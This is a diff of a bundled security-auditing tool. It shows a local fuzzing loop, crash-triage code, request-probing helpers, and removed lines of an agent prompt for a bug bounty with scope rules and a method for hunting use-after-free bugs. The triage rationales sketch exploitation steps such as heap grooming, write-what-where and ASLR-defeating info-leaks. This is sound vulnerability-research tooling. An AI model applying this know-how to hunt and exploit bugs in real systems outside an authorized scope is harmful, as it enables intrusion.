+ }
1789
+ return { dir: mkdtempSync(join(tmpdir(), "0-uf-")), ephemeral: true };
1790
+ }
1791
+ function corpusCount(dir) {
1792
+ try {
1793
+ return readdirSync(dir).filter((name) => {
1794
+ try {
1795
+ return statSync(join(dir, name)).isFile();
1796
+ } catch {
1797
+ return false;
1798
+ }
1799
+ }).length;
1800
+ } catch {
1801
+ return 0;
1802
+ }
1803
+ }
1804
+ async function runUserspaceFuzzLoop(opts) {
1805
+ const log = opts.logger ?? ((line) => console.log(line));
1806
+ const sourceRoot = resolve(opts.target.sourceRoot);
1807
+ const canonicalSourceRoot = existsSync(sourceRoot) ? realpathSync(sourceRoot) : sourceRoot;
1808
+ const runOpts = {
1809
+ ...opts,
1810
+ target: { ...opts.target, sourceRoot: canonicalSourceRoot }
1811
+ };
1812
+ const start = Date.now();
1813
+ const timeoutSec = opts.timeoutSec ?? parseInt(process.env["ZERO_USERSPACE_FUZZ_TIMEOUT_SEC"]?.trim() || "60", 10);
1814
+ const timeoutMs = Math.max(1, timeoutSec) * 1e3;
1815
+ const artifactDir = resolveArtifactRoot(opts.artifactDir, canonicalSourceRoot);
1816
+ const artifactMaxBytes = artifactDir ? resolveRetainedArtifactBytes(opts.artifactMaxBytes) : null;
1817
+ const { dir: workDir, ephemeral } = makeArtifactDir(artifactDir);
1818
+ const toolingMissing = [];
1819
+ let retained = false;
1820
+ try {
1821
+ const result = runOpts.target.language === "rust" ? await runRustLoop(runOpts, { workDir, timeoutMs, toolingMissing, log, start }) : await runCLoop(runOpts, { workDir, timeoutMs, toolingMissing, log, start });
1822
+ if (!ephemeral && artifactMaxBytes !== null) {
1823
+ retained = persistCapturedArtifacts(result, workDir, canonicalSourceRoot, artifactMaxBytes, log);
1824
+ }
1825
+ return result;
1826
+ } finally {
1827
+ if (ephemeral || !retained)
1828
+ rmSync(workDir, { recursive: true, force: true });
1829
+ }
1830
+ }
1831
+ function persistCapturedArtifacts(result, workDir, sourceRoot, maxBytes, log) {
1832
+ if (result.crashes.length === 0)
1833
+ return false;
1834
+ const runDir = basename(workDir);
1835
+ const logsDir = join(workDir, "logs");
1836
+ const reproducersDir = join(workDir, "reproducers");
1837
+ mkdirSync(logsDir, { recursive: true, mode: 448 });
1838
+ mkdirSync(reproducersDir, { recursive: true, mode: 448 });
1839
+ let remaining = maxBytes - ARTIFACT_MANIFEST_RESERVE_BYTES;
1840
+ const crashes = result.crashes.slice(0, MAX_RETAINED_CRASHES).map((crash, index) => {
1841
+ const id = safeArtifactId(crash.signature, index);
1842
+ let reproducer = null;
1843
+ if (crash.inputPath && remaining > 0) {
1844
+ const reproducerRef = `${runDir}/reproducers/${id}.input`;
1845
+ reproducer = copyBoundedReproducer(crash.inputPath, join(reproducersDir, `${id}.input`), reproducerRef, sourceRoot, Math.min(MAX_RETAINED_REPRODUCER_BYTES, remaining));
1846
+ if (reproducer) {
1847
+ remaining -= reproducer.sizeBytes;
1848
+ crash.inputPath = join(reproducersDir, `${id}.input`);
1849
+ crash.artifactRef = reproducer.ref;
1850
+ } else {
1851
+ log(`[userspace-fuzz] did not retain reproducer for ${crash.signature} (missing, non-regular, changed while read, or exceeds the remaining evidence budget)`);
1852
+ }
1853
+ }
1854
+ const logRef = `${runDir}/logs/${id}.log`;
1855
+ const logFile = writeBoundedUtf8File(join(logsDir, `${id}.log`), crash.rawOutput, Math.min(MAX_RETAINED_LOG_BYTES, remaining));
1856
+ if (logFile)
1857
+ remaining -= logFile.sizeBytes;
1858
+ return {
1859
+ signature: crash.signature,
1860
+ kind: crash.kind,
1861
+ primitive: crash.primitive ?? null,
1862
+ stack: boundedStack(crash.stack),
1863
+ log: logFile ? { ...logFile, ref: logRef } : null,
1864
+ reproducer
1865
+ };
1866
+ });
1867
+ if (result.crashes.length > MAX_RETAINED_CRASHES) {
1868
+ log(`[userspace-fuzz] retained the first ${MAX_RETAINED_CRASHES} of ${result.crashes.length} deduplicated crashes`);
1869
+ }
1870
+ const manifest = Buffer.from(JSON.stringify({
1871
+ schema: MEMSAFETY_ARTIFACT_SCHEMA,
1872
+ crashes
1873
+ }, null, 2) + "\n", "utf8");
1874
+ if (manifest.byteLength > ARTIFACT_MANIFEST_RESERVE_BYTES) {
1875
+ rmSync(logsDir, { recursive: true, force: true });
1876
+ rmSync(reproducersDir, { recursive: true, force: true });
1877
+ log("[userspace-fuzz] evidence manifest exceeded its bounded reserve; discarded this run's retained copies");
1878
+ return false;
1879
+ }
1880
+ writeFileSync(join(workDir, "manifest.json"), manifest, {
1881
+ flag: "wx",
1882
+ mode: 384
1883
+ });
1884
+ return true;
1885
+ }
1886
+ function resolveRetainedArtifactBytes(value) {
1887
+ const bytes = value ?? DEFAULT_RETAINED_ARTIFACT_BYTES;
1888
+ if (!Number.isSafeInteger(bytes) || bytes < MIN_RETAINED_ARTIFACT_BYTES) {
1889
+ throw new Error(`artifactMaxBytes must be a safe integer of at least ${MIN_RETAINED_ARTIFACT_BYTES}`);
1890
+ }
1891
+ return bytes;
1892
+ }
1893
+ function safeArtifactId(signature, index) {
1894
+ if (/^[0-9a-f]{16}$/.test(signature))
1895
+ return signature;
1896
+ return createHash("sha256").update(`${index}\0${signature}`).digest("hex").slice(0, 16);
1897
+ }
1898
+ function boundedStack(stack) {
1899
+ return (stack ?? []).slice(0, 10).map((frame) => frame.slice(0, 1024));
1900
+ }
1901
+ function writeBoundedUtf8File(path, value, limit) {
1902
+ if (limit <= 0)
1903
+ return null;
1904
+ const input = Buffer.from(value, "utf8");
1905
+ const truncated = input.length > limit;
1906
+ const bytes = truncated ? input.subarray(input.length - limit) : input;
1907
+ writeFileSync(path, bytes, { flag: "wx", mode: 384 });
1908
+ return {
1909
+ sha256: createHash("sha256").update(bytes).digest("hex"),
1910
+ sizeBytes: bytes.length,
1911
+ ...truncated ? { truncated: true } : {}
1912
+ };
1913
+ }
1914
+ function copyBoundedReproducer(source, destination, ref, sourceRoot, limit) {
1915
+ let fd;
1916
+ try {
1917
+ if (!isStableSourceDirectory(sourceRoot, dirname(source))) {
1918
+ return null;
1919
+ }
1920
+ const listed = lstatSync(source);
1921
+ if (!listed.isFile() || listed.isSymbolicLink() || listed.size > limit) {
1922
+ return null;
1923
+ }
1924
+ fd = openSync(source, constants.O_RDONLY | (constants.O_NOFOLLOW ?? 0));
1925
+ const before = fstatSync(fd);
1926
+ if (!before.isFile() || before.dev !== listed.dev || before.ino !== listed.ino || before.size !== listed.size || before.mtimeMs !== listed.mtimeMs) {
1927
+ return null;
1928
+ }
1929
+ const bytes = readFileSync(fd);
1930
+ const after = fstatSync(fd);
1931
+ if (before.dev !== after.dev || before.ino !== after.ino || before.size !== after.size || before.mtimeMs !== after.mtimeMs || bytes.length !== before.size) {
1932
+ return null;
1933
+ }
1934
+ if (!isStableSourceDirectory(sourceRoot, dirname(source))) {
1935
+ return null;
1936
+ }
1937
+ writeFileSync(destination, bytes, { flag: "wx", mode: 384 });
1938
+ return {
1939
+ ref,
1940
+ sha256: createHash("sha256").update(bytes).digest("hex"),
1941
+ sizeBytes: bytes.length
1942
+ };
1943
+ } catch {
1944
+ return null;
1945
+ } finally {
1946
+ if (fd !== void 0)
1947
+ closeSync(fd);
1948
+ }
1949
+ }
1950
+ function cargoFuzzRunArgs(harnessEntry, fuzzDir, timeoutSec) {
1951
+ const fuzzDirArgs = fuzzDir ? ["--fuzz-dir", fuzzDir] : [];
1952
+ return [
1953
+ "fuzz",
1954
+ "run",
1955
+ ...fuzzDirArgs,
1956
+ harnessEntry,
1957
+ "--",
1958
+ `-max_total_time=${Math.floor(timeoutSec)}`
1959
+ ];
1960
+ }
1961
+ function cargoFuzzListArgs(fuzzDir) {
1962
+ return ["fuzz", "list", ...fuzzDir ? ["--fuzz-dir", fuzzDir] : []];
1963
+ }
1964
+ async function discoverCargoFuzzHarness(sourceRoot, fuzzDir, timeoutMs) {
1965
+ if (!existsSync(join(sourceRoot, fuzzDir ?? "fuzz", "Cargo.toml"))) {
1966
+ return { reason: `no cargo-fuzz manifest at ${fuzzDir ?? "fuzz"}/Cargo.toml` };
1967
+ }
1968
+ const res = await runChild("cargo", cargoFuzzListArgs(fuzzDir), sourceRoot, timeoutMs);
1969
+ if (res.failed)
1970
+ return { reason: "cargo fuzz list failed" };
1971
+ const harnesses = Array.from(new Set(res.stdout.split(/\r?\n/).map((line) => line.trim()).filter(Boolean)));
1972
+ if (harnesses.length === 1)
1973
+ return { harnessEntry: harnesses[0] };
1974
+ if (harnesses.length === 0)
1975
+ return { reason: "no cargo-fuzz harnesses found" };
1976
+ return {
1977
+ reason: `multiple cargo-fuzz harnesses found (${harnesses.join(", ")})`
1978
+ };
1979
+ }
1980
+ async function runRustLoop(opts, ctx) {
1981
+ const { target } = opts;
1982
+ const sourceRoot = resolve(target.sourceRoot);
1983
+ const fuzzRoot = resolveCargoFuzzDir(sourceRoot, target.fuzzDir);
1984
+ const crashes = [];
1985
+ let iterations = 0;
1986
+ let harnessEntry = target.harnessEntry;
1987
+ let executedHarness;
1988
+ if (!await cargoAvailable()) {
1989
+ ctx.toolingMissing.push("cargo");
1990
+ ctx.log(`[userspace-fuzz] ${TOOLING_HINTS.cargo}`);
1991
+ return finish(crashes, iterations, sourceRoot, ctx, "fuzz");
1992
+ }
1993
+ if (!fuzzRoot || harnessEntry && !isCargoFuzzHarnessName(harnessEntry)) {
1994
+ ctx.toolingMissing.push("cargo-fuzz-layout");
1995
+ ctx.log("[userspace-fuzz] rejected unsafe cargo-fuzz directory or harness name");
1996
+ return finish(crashes, iterations, sourceRoot, ctx, "fuzz");
1997
+ }
1998
+ const fuzzDir = relative(sourceRoot, fuzzRoot);
1999
+ if (!await cargoFuzzAvailable()) {
2000
+ ctx.toolingMissing.push("cargo-fuzz");
2001
+ ctx.log(`[userspace-fuzz] ${TOOLING_HINTS["cargo-fuzz"]}`);
2002
+ } else {
2003
+ if (!harnessEntry) {
2004
+ const discovery = await discoverCargoFuzzHarness(sourceRoot, fuzzDir, ctx.timeoutMs);
2005
+ if ("reason" in discovery) {
2006
+ ctx.toolingMissing.push("cargo-fuzz-harness");
2007
+ ctx.log(`[userspace-fuzz] ${discovery.reason}; ${TOOLING_HINTS["cargo-fuzz-harness"]}`);
2008
+ } else {
2009
+ harnessEntry = discovery.harnessEntry;
2010
+ if (!isCargoFuzzHarnessName(harnessEntry)) {
2011
+ ctx.toolingMissing.push("cargo-fuzz-harness");
2012
+ ctx.log("[userspace-fuzz] cargo-fuzz reported an unsafe harness name");
2013
+ harnessEntry = void 0;
2014
+ } else {
2015
+ ctx.log(`[userspace-fuzz] auto-selected cargo-fuzz harness ${harnessEntry}`);
2016
+ }
2017
+ }
2018
+ }
2019
+ if (harnessEntry) {
2020
+ ctx.log(`[userspace-fuzz] cargo fuzz run ${harnessEntry} (<=${ctx.timeoutMs / 1e3}s)`);
2021
+ const res = await runChild("cargo", cargoFuzzRunArgs(harnessEntry, fuzzDir, ctx.timeoutMs / 1e3), sourceRoot, ctx.timeoutMs + 3e4);
2022
+ executedHarness = harnessEntry;
2023
+ iterations += 1;
2024
+ const crash = parseCrashOutput(res.output, {
2025
+ kind: res.timedOut ? "timeout" : void 0,
2026
+ inputPath: findLibfuzzerCrashInput(join(fuzzRoot, "artifacts", harnessEntry), sourceRoot)
2027
+ });
2028
+ if (crash)
2029
+ crashes.push(crash);
2030
+ }
2031
+ }
2032
+ if (opts.runMiri) {
2033
+ if (!await miriAvailable()) {
2034
+ ctx.toolingMissing.push("miri");
2035
+ ctx.log(`[userspace-fuzz] ${TOOLING_HINTS.miri}`);
2036
+ } else {
2037
+ ctx.log("[userspace-fuzz] cargo +nightly miri test (UB run)");
2038
+ const res = await runChild("cargo", ["+nightly", "miri", "test"], sourceRoot, ctx.timeoutMs + 3e4);
2039
+ iterations += 1;
2040
+ const crash = parseCrashOutput(res.output, {
2041
+ kind: res.timedOut ? "timeout" : void 0
2042
+ });
2043
+ if (crash)
2044
+ crashes.push(crash);
2045
+ }
2046
+ }
2047
+ const corpusDir = harnessEntry ? join(fuzzRoot, "corpus", harnessEntry) : join(fuzzRoot, "corpus");
2048
+ const result = finishWithCorpus(crashes, iterations, corpusDir, ctx);
2049
+ if (executedHarness)
2050
+ result.executedHarness = executedHarness;
2051
+ return result;
2052
+ }
2053
+ async function runCLoop(opts, ctx) {
2054
+ const crashes = [];
2055
+ let iterations = 0;
2056
+ if (!opts.tier2Artifact) {
2057
+ ctx.log("[userspace-fuzz] C/C++ path requires a tier2Artifact (from buildTier2Harness); nothing to run");
2058
+ return finish(crashes, iterations, resolve(opts.target.sourceRoot), ctx, "tier2");
2059
+ }
2060
+ if (!await clangAvailable()) {
2061
+ ctx.toolingMissing.push("clang");
2062
+ ctx.log(`[userspace-fuzz] ${TOOLING_HINTS.clang}`);
2063
+ return finish(crashes, iterations, resolve(opts.target.sourceRoot), ctx, "tier2");
2064
+ }
2065
+ const { compile_command, run_command } = opts.tier2Artifact;
2066
+ const sourceRoot = resolve(opts.target.sourceRoot);
2067
+ ctx.log(`[userspace-fuzz] compiling Tier-2 harness: ${compile_command}`);
2068
+ const compileRes = await runChild("sh", ["-c", compile_command], sourceRoot, ctx.timeoutMs);
2069
+ if (compileRes.signalled || /error:|fatal error:/i.test(compileRes.output)) {
2070
+ ctx.toolingMissing.push("tier2-harness-compile");
2071
+ ctx.log(`[userspace-fuzz] Tier-2 harness failed to compile:
2072
+ ${compileRes.output.slice(-2e3)}`);
2073
+ return finish(crashes, iterations, sourceRoot, ctx, "tier2");
2074
+ }
2075
+ ctx.log(`[userspace-fuzz] running Tier-2 harness: ${run_command}`);
2076
+ const runRes = await runChild("sh", ["-c", run_command], sourceRoot, ctx.timeoutMs + 3e4);
2077
+ iterations += 1;
2078
+ const crash = parseCrashOutput(runRes.output, {
2079
+ kind: runRes.timedOut ? "timeout" : runRes.signalled ? "segfault" : void 0
2080
+ });
2081
+ if (crash) {
2082
+ crash.inputPath = findLibfuzzerCrashInput(sourceRoot, sourceRoot) ?? crash.inputPath;
2083
+ crashes.push(crash);
2084
+ }
2085
+ return finishWithCorpus(crashes, iterations, sourceRoot, ctx);
2086
+ }
2087
+ function findLibfuzzerCrashInput(dir, sourceRoot) {
2088
+ if (!isStableSourceDirectory(sourceRoot, dir))
2089
+ return void 0;
2090
+ try {
2091
+ const hit = readdirSync(dir).find((name) => /^(crash|oom|timeout|leak)-[0-9a-f]+$/i.test(name));
2092
+ if (!hit || !isStableSourceDirectory(sourceRoot, dir))
2093
+ return void 0;
2094
+ const candidate = join(dir, hit);
2095
+ const listed = lstatSync(candidate);
2096
+ return listed.isFile() && !listed.isSymbolicLink() ? candidate : void 0;
2097
+ } catch {
2098
+ return void 0;
2099
+ }
2100
+ }
2101
+ function finish(crashes, iterations, corpusDir, ctx, _phase) {
2102
+ return finishWithCorpus(crashes, iterations, corpusDir, ctx);
2103
+ }
2104
+ function finishWithCorpus(crashes, iterations, corpusDir, ctx) {
2105
+ const deduped = dedupeBySignature(crashes);
2106
+ const result = {
2107
+ iterations,
2108
+ crashes: deduped,
2109
+ corpusSize: corpusCount(corpusDir),
2110
+ durationMs: Date.now() - ctx.start
2111
+ };
2112
+ if (ctx.toolingMissing.length > 0) {
2113
+ result.toolingMissing = Array.from(new Set(ctx.toolingMissing));
2114
+ }
2115
+ ctx.log(`[userspace-fuzz] done: iterations=${result.iterations} crashes=${result.crashes.length} corpus=${result.corpusSize}` + (result.toolingMissing ? ` toolingMissing=[${result.toolingMissing.join(",")}]` : ""));
2116
+ return result;
2117
+ }
1388
2118
 
1389
- ### HARD CONSTRAINTS \u2014 bounty rules (never violate)
1390
- 1. **Never open a PR or change code** in the target or any of its dependencies.
1391
- You are auditing, not patching \u2014 do not push, fork-and-PR, or submit upstream.
1392
- 2. **Never DoS the live endpoint.** No fuzzing, flooding, resource-exhaustion,
1393
- or load against the hosted/live service (e.g. hackmonty.com).
1394
- 3. **Discovery happens against a LOCAL instrumented build only** \u2014 clone the
1395
- source, build with sanitizers (ASAN/UBSAN) or run under \`cargo fuzz\` / \`miri\`,
1396
- and reproduce locally. The live site is only for confirming scope, never the hunt.
2119
+ // packages/core/dist/triage/userspace-primitive.js
2120
+ var SEVERITY_ORDER = ["info", "low", "medium", "high", "critical"];
2121
+ function severityRank(sev) {
2122
+ return SEVERITY_ORDER.indexOf(sev);
2123
+ }
2124
+ function maxMemSeverity(a, b) {
2125
+ return severityRank(a) >= severityRank(b) ? a : b;
2126
+ }
2127
+ function sniffMemPrimitive(raw) {
2128
+ if (/heap-use-after-free|use-after-free|use of (deallocated|freed)/i.test(raw)) {
2129
+ return "use-after-free";
2130
+ }
2131
+ if (/double-free|attempting double-free|free of (already-freed|untracked)/i.test(raw)) {
2132
+ return "double-free";
2133
+ }
2134
+ if (/stack-buffer-overflow|stack-use-after-(return|scope)|stack-oob/i.test(raw)) {
2135
+ return "stack-oob";
2136
+ }
2137
+ if (/heap-buffer-overflow|global-buffer-overflow|dynamic-stack-buffer-overflow/i.test(raw)) {
2138
+ return /\bWRITE of size\b/i.test(raw) ? "heap-oob-write" : "heap-oob-read";
2139
+ }
2140
+ if (/uninitialized (memory|bytes|value)|use of uninitialized|msan|memorysanitizer|conjuring an instance/i.test(raw)) {
2141
+ return "uninit-read";
2142
+ }
2143
+ if (/dangling (reference|pointer)|pointer to .* was dereferenced after/i.test(raw)) {
2144
+ return "use-after-free";
2145
+ }
2146
+ if (/out-of-bounds|out of bounds|index out of bounds/i.test(raw)) {
2147
+ return /\bWRITE of size\b|writing|store/i.test(raw) ? "heap-oob-write" : "heap-oob-read";
2148
+ }
2149
+ if (/signed integer overflow|unsigned integer overflow|integer overflow|shift .* out of range/i.test(raw)) {
2150
+ return "integer-overflow";
2151
+ }
2152
+ if (/(member|downcast|wrong type|type mismatch|invalid (vtable|downcast)).*type|type confusion|misaligned/i.test(raw)) {
2153
+ return "type-confusion";
2154
+ }
2155
+ if (/null pointer|null-deref|dereferenc(e|ing) (a )?null|SEGV on unknown address 0x0+\b/i.test(raw)) {
2156
+ return "null-deref";
2157
+ }
2158
+ return void 0;
2159
+ }
2160
+ function primitiveFromKind(kind) {
2161
+ switch (kind) {
2162
+ case "segfault":
2163
+ return "null-deref";
2164
+ case "ubsan":
2165
+ return "integer-overflow";
2166
+ case "msan":
2167
+ return "uninit-read";
2168
+ default:
2169
+ return "unknown";
2170
+ }
2171
+ }
2172
+ function sniffAccess(raw) {
2173
+ if (/\bWRITE of size\b|\bwriting\b|\bstore\b|wild pointer write/i.test(raw))
2174
+ return "write";
2175
+ if (/\bREAD of size\b|\breading\b|\bload\b/i.test(raw))
2176
+ return "read";
2177
+ if (/\bexecute\b|\bPC\b.*invalid|control flow|return address/i.test(raw))
2178
+ return "exec";
2179
+ return "none";
2180
+ }
2181
+ function classifyUserspacePrimitive(crash) {
2182
+ const raw = crash.rawOutput ?? "";
2183
+ const primitive = crash.primitive ?? sniffMemPrimitive(raw) ?? primitiveFromKind(crash.kind);
2184
+ const access = sniffAccess(raw);
2185
+ let severity;
2186
+ let controllable;
2187
+ let readWrite;
2188
+ let rationale;
2189
+ switch (primitive) {
2190
+ case "use-after-free": {
2191
+ readWrite = access === "read" ? "read" : "write";
2192
+ controllable = true;
2193
+ severity = readWrite === "write" ? "critical" : "high";
2194
+ rationale = `Use-after-free grants a dangling reference; a ${readWrite} after free is the lever \u2014 reclaim the freed allocation with a controlled object to turn it into ${readWrite === "write" ? "an object overwrite" : "an info-leak"}.`;
2195
+ break;
2196
+ }
2197
+ case "double-free": {
2198
+ readWrite = "write";
2199
+ controllable = true;
2200
+ severity = "high";
2201
+ rationale = "Double-free confuses the allocator freelist, enabling overlapping allocations and downstream object overwrite.";
2202
+ break;
2203
+ }
2204
+ case "heap-oob-write": {
2205
+ readWrite = "write";
2206
+ controllable = true;
2207
+ severity = "critical";
2208
+ rationale = "Heap out-of-bounds write corrupts an adjacent allocation \u2014 a write-what-where candidate once the neighbouring object is groomed.";
2209
+ break;
2210
+ }
2211
+ case "heap-oob-read": {
2212
+ readWrite = "read";
2213
+ controllable = /attacker|user-?controlled|tainted|index|offset|length/i.test(raw);
2214
+ severity = "medium";
2215
+ rationale = "Heap out-of-bounds read leaks adjacent allocation contents \u2014 an info-leak candidate useful for defeating ASLR.";
2216
+ break;
2217
+ }
2218
+ case "stack-oob": {
2219
+ readWrite = access === "read" ? "read" : "write";
2220
+ controllable = true;
2221
+ severity = readWrite === "write" ? "high" : "medium";
2222
+ rationale = "Stack out-of-bounds access; write variants can target saved registers / return addresses subject to stack-canary mitigation.";
2223
+ break;
2224
+ }
2225
+ case "type-confusion": {
2226
+ readWrite = "write";
2227
+ controllable = true;
2228
+ severity = "high";
2229
+ rationale = "Type confusion treats one object layout as another, enabling controlled reads/writes through mismatched fields (e.g. a fake vtable).";
2230
+ break;
2231
+ }
2232
+ case "uninit-read": {
2233
+ readWrite = "read";
2234
+ controllable = false;
2235
+ severity = "medium";
2236
+ rationale = "Uninitialised read returns stale memory \u2014 an info-leak building block; exploitability depends on whether the leaked bytes reach an attacker.";
2237
+ break;
2238
+ }
2239
+ case "integer-overflow": {
2240
+ readWrite = "none";
2241
+ controllable = false;
2242
+ severity = "low";
2243
+ rationale = "Integer overflow rarely yields a direct memory primitive on its own; treat as a building block (e.g. an undersized allocation) pending further analysis.";
2244
+ break;
2245
+ }
2246
+ case "null-deref": {
2247
+ readWrite = "none";
2248
+ controllable = false;
2249
+ severity = "low";
2250
+ rationale = "Null / faulting dereference is typically a denial-of-service in userspace unless a controlled offset reaches a mapped page.";
2251
+ break;
2252
+ }
2253
+ default: {
2254
+ readWrite = access;
2255
+ controllable = false;
2256
+ severity = "info";
2257
+ rationale = `Crash kind ${crash.kind} did not map to a known memory-safety primitive; treat as undetermined pending symbolisation.`;
2258
+ }
2259
+ }
2260
+ if ((crash.kind === "panic" || crash.kind === "timeout" || crash.kind === "oom") && primitive === "unknown") {
2261
+ return {
2262
+ primitive: "unknown",
2263
+ severity: crash.kind === "panic" ? "low" : "info",
2264
+ controllable: false,
2265
+ readWrite: "none",
2266
+ rationale: crash.kind === "panic" ? "Rust panic with no sanitizer signature \u2014 a safe-abort / availability bug, not a memory-corruption primitive." : `${crash.kind} with no corruption signature \u2014 an availability bug.`
2267
+ };
2268
+ }
2269
+ return { primitive, severity, controllable, readWrite, rationale };
2270
+ }
2271
+ function describeExploitabilityVerdict(verdict) {
2272
+ return [
2273
+ `Primitive: ${verdict.primitive} (op=${verdict.readWrite})`,
2274
+ `Severity: ${verdict.severity} (controllable=${verdict.controllable})`,
2275
+ `- ${verdict.rationale}`
2276
+ ];
2277
+ }
1397
2278
 
1398
- ### Step 1: Unsafe-block + boundary enumeration
1399
- - Enumerate every \`unsafe\` block: \`grep -rn "unsafe" --include=*.rs\` and read each
1400
- one. \`unsafe\` is where Rust's guarantees are hand-waved \u2014 that is the audit surface.
1401
- - Audit the PyO3 / C-API / FFI boundary specifically: \`Py_INCREF\`/\`Py_DECREF\`,
1402
- \`PyObject\` raw pointers, \`from_raw\`/\`into_raw\`, \`transmute\`, \`MaybeUninit\`,
1403
- \`mem::forget\`, \`ManuallyDrop\`, raw \`*mut\`/\`*const\` deref, and any place a Python
1404
- object's lifetime is managed by hand rather than by the borrow checker.
1405
- - Flag refcount math done manually (incref/decref imbalance \u2192 UAF or leak) and any
1406
- \`&mut\` aliasing smuggled across the FFI line (\u2192 type confusion / aliasing UB).
2279
+ // packages/core/dist/triage/pov-gate.js
2280
+ import { execFile as execFile2 } from "node:child_process";
2281
+ import { promisify } from "node:util";
1407
2282
 
1408
- ### Step 2: GC-root variant-hunt (the round-1 methodology)
1409
- Round-1 win was a use-after-free via a **missing GC root**: \`list.sort\` held a
1410
- reference to an object the garbage collector did not trace, so it was freed
1411
- mid-operation and then used. The patch "extended the GC root set" \u2014 which means
1412
- the fix is narrow and **adjacent objects are likely still unrooted**.
1413
- - Start from the patched roots. Enumerate every object/temporary that lives
1414
- *next to* what the patch just rooted: other intrinsics that hold borrowed
1415
- references across a callback, re-entrancy points, iterators / sort / comparator
1416
- callbacks, \`__del__\` / finalizer hooks, and any C-side temporary not registered
1417
- with the collector.
1418
- - For each candidate ask: can the attacker script trigger a GC (allocate pressure,
1419
- explicit \`gc.collect()\`, drop a large object) *while* this reference is live but
1420
- untraced? If yes \u2192 candidate UAF.
1421
- - Type-confusion variant: where the patch rooted an object of one type, check
1422
- whether a sibling path can swap the object's type between the root and the use.
2283
+ // packages/core/dist/triage/oracle-runtime.js
2284
+ import { randomUUID } from "node:crypto";
2285
+ import { createServer } from "node:http";
1423
2286
 
1424
- ### Step 3: Fuzz + sanitize the LOCAL build
1425
- - Build the cloned tree with sanitizers and drive the suspect entry points
1426
- (the \`unsafe\` slices and Step-2 candidates) under \`cargo fuzz\` (libFuzzer) and
1427
- \`miri\` for UB on the unsafe paths. ASAN/UBSAN catch UAF/OOB; miri catches
1428
- aliasing / uninit UB the sanitizers miss.
1429
- - If \`cargo-fuzz\` / \`miri\` / sanitizer toolchains are not installed, say so and
1430
- request them \u2014 do NOT fabricate a fuzzing result. The pipeline degrades and
1431
- reports the missing tooling rather than faking success.
1432
- - Reproduce every crash to a minimal input before claiming it.
2287
+ // packages/core/dist/triage/oracles.js
2288
+ var DEFAULT_TIMEOUT_MS = 1e4;
2289
+ function notVerifiable(reason) {
2290
+ return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
2291
+ }
2292
+ function verified(evidence, confidence = 1) {
2293
+ return { verified: true, confidence, evidence, reason: "" };
2294
+ }
2295
+ function parseRequest(requestText, fallbackTarget) {
2296
+ const parsed = {
2297
+ method: "GET",
2298
+ url: fallbackTarget,
2299
+ headers: {},
2300
+ body: "",
2301
+ params: {}
2302
+ };
2303
+ const parseFallbackQuery = () => {
2304
+ try {
2305
+ const u = new URL(parsed.url);
2306
+ u.searchParams.forEach((v, k) => {
2307
+ parsed.params[k] = v;
2308
+ });
2309
+ } catch {
2310
+ }
2311
+ };
2312
+ if (!requestText) {
2313
+ parseFallbackQuery();
2314
+ return parsed;
2315
+ }
2316
+ requestText = requestText.replace(/\r\n/g, "\n");
2317
+ const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
2318
+ if (curlUrl)
2319
+ parsed.url = curlUrl[1].replace(/['"]$/, "");
2320
+ const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
2321
+ if (curlMethod)
2322
+ parsed.method = curlMethod[1].toUpperCase();
2323
+ const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
2324
+ if (curlData)
2325
+ parsed.body = curlData[1];
2326
+ const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
2327
+ if (startLine) {
2328
+ parsed.method = startLine[1].toUpperCase();
2329
+ const path = startLine[2];
2330
+ const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
2331
+ if (/^https?:\/\//i.test(path)) {
2332
+ parsed.url = path;
2333
+ } else if (hostHeader) {
2334
+ const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
2335
+ parsed.url = `${scheme}://${hostHeader[1]}${path}`;
2336
+ } else if (path.startsWith("/")) {
2337
+ try {
2338
+ const base = new URL(fallbackTarget);
2339
+ parsed.url = `${base.origin}${path}`;
2340
+ } catch {
2341
+ parsed.url = path;
2342
+ }
2343
+ } else {
2344
+ parsed.url = path;
2345
+ }
2346
+ const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
2347
+ for (const line of headerBlock.split("\n").slice(1)) {
2348
+ const colon = line.indexOf(":");
2349
+ if (colon > 0) {
2350
+ const name = line.slice(0, colon).trim().toLowerCase();
2351
+ if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
2352
+ parsed.headers[name] = line.slice(colon + 1).trim();
2353
+ }
2354
+ }
2355
+ }
2356
+ const sep2 = requestText.indexOf("\n\n");
2357
+ if (sep2 >= 0)
2358
+ parsed.body = requestText.slice(sep2 + 2);
2359
+ }
2360
+ try {
2361
+ const u = new URL(parsed.url);
2362
+ u.searchParams.forEach((v, k) => {
2363
+ parsed.params[k] = v;
2364
+ });
2365
+ } catch {
2366
+ }
2367
+ if (parsed.body.trimStart().startsWith("{")) {
2368
+ try {
2369
+ const json = JSON.parse(parsed.body);
2370
+ for (const [key, value] of Object.entries(json)) {
2371
+ if (typeof value === "string" || typeof value === "number")
2372
+ parsed.params[key] = String(value);
2373
+ }
2374
+ } catch {
2375
+ }
2376
+ } else if (parsed.body.includes("=")) {
2377
+ new URLSearchParams(parsed.body).forEach((value, key) => {
2378
+ parsed.params[key] = value;
2379
+ });
2380
+ }
2381
+ return parsed;
2382
+ }
2383
+ function buildProbeRequest(parsed, newParams) {
2384
+ const method = parsed.method || "GET";
2385
+ const init = { method, headers: { ...parsed.headers } };
2386
+ const url = new URL(parsed.url);
2387
+ let json;
2388
+ if (parsed.body.trimStart().startsWith("{")) {
2389
+ try {
2390
+ json = JSON.parse(parsed.body);
2391
+ } catch {
2392
+ }
2393
+ }
2394
+ const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
2395
+ for (const [key, value] of Object.entries(newParams)) {
2396
+ if (method !== "GET" && json && Object.hasOwn(json, key))
2397
+ json[key] = value;
2398
+ else if (method !== "GET" && form?.has(key))
2399
+ form.set(key, value);
2400
+ else
2401
+ url.searchParams.set(key, value);
2402
+ }
2403
+ if (method !== "GET") {
2404
+ init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
2405
+ if (json)
2406
+ init.headers = { "content-type": "application/json", ...parsed.headers };
2407
+ else if (form)
